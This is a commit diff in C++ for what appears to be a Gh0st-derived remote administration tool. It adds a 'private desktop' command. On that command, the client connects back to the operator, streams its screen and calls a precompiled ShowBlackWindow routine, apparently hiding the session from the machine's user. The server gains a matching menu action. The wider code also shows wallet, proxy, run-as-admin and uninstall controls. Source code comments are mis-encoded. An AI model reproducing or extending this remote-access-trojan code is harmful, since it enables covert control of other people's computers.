Feature: Add private remote desktop source code
This commit is contained in:
@@ -430,6 +430,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
Mprintf("StartClient begin\n");
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
if (!app.m_bShared)
|
||||
@@ -476,6 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||
{
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
continue;
|
||||
|
||||
@@ -46,6 +46,36 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
|
||||
#else
|
||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) {
|
||||
return ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
#endif
|
||||
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) {
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort()))
|
||||
{
|
||||
CScreenManager m(ClientObject, 32, (void*)1);
|
||||
if (IsWindows8orHigher()) {
|
||||
ShowBlackWindow(ClientObject, conn, hash, hmac);
|
||||
}
|
||||
else {
|
||||
ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
}
|
||||
delete ClientObject;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CScreenManager, 0>(lParam);
|
||||
|
||||
@@ -19,6 +19,7 @@ typedef struct UserParam
|
||||
}UserParam;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& hash, const std::string& hmac);
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
|
||||
9
client/IOCPBase.h
Normal file
9
client/IOCPBase.h
Normal file
@@ -0,0 +1,9 @@
|
||||
#include "common/commands.h"
|
||||
|
||||
class IOCPBase {
|
||||
public:
|
||||
virtual BOOL IsRunning() const = 0;
|
||||
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
@@ -19,6 +19,7 @@
|
||||
#define NO_AES
|
||||
#include "common/encrypt.h"
|
||||
#include "SafeThread.h"
|
||||
#include "IOCPBase.h"
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
@@ -108,7 +109,7 @@ public:
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
|
||||
class IOCPClient
|
||||
class IOCPClient : public IOCPBase
|
||||
{
|
||||
public:
|
||||
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,
|
||||
|
||||
@@ -479,6 +479,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||
std::string hash = std::string(h, h + 64);
|
||||
std::string hmac = std::string(h + 64, h + 80);
|
||||
std::thread t(private_desktop, m_conn, g_bExit, hash, hmac);
|
||||
t.detach();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_PROXY: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
|
||||
@@ -188,6 +188,7 @@ enum
|
||||
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
|
||||
TOKEN_UNINSTALL = 63, // ж<><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_PRIVATESCREEN = 64, // <20><>˽<EFBFBD><CBBD>Ļ
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
|
||||
BIN
lib/PrivateDesktop_Libx64.lib
Normal file
BIN
lib/PrivateDesktop_Libx64.lib
Normal file
Binary file not shown.
BIN
lib/PrivateDesktop_Libx64d.lib
Normal file
BIN
lib/PrivateDesktop_Libx64d.lib
Normal file
Binary file not shown.
Binary file not shown.
@@ -354,6 +354,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
||||
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
|
||||
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
|
||||
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
|
||||
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
@@ -481,6 +482,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
|
||||
ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
|
||||
ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
|
||||
ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -1468,6 +1470,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
|
||||
|
||||
std::string masterHash(GetMasterHash());
|
||||
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
||||
@@ -3333,3 +3336,15 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
|
||||
{
|
||||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||||
if (hmac.empty())
|
||||
hmac = THIS_CFG.GetStr("settings", "HMAC");
|
||||
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
|
||||
memcpy(bToken + 1, masterId.c_str(), masterId.length());
|
||||
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||
SendSelectedCommand(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
@@ -216,7 +216,7 @@ public:
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[16];
|
||||
CBitmap m_bmOnline[17];
|
||||
uint64_t m_superID;
|
||||
enum {
|
||||
STATUS_UNKNOWN = -1,
|
||||
@@ -307,4 +307,5 @@ public:
|
||||
afx_msg void OnMainWallet();
|
||||
afx_msg void OnToolRcedit();
|
||||
afx_msg void OnOnlineUninstall();
|
||||
afx_msg void OnOnlinePrivateScreen();
|
||||
};
|
||||
|
||||
@@ -406,6 +406,7 @@
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
|
||||
@@ -163,6 +163,7 @@
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/PrivateScreen.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/PrivateScreen.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
Reference in New Issue
Block a user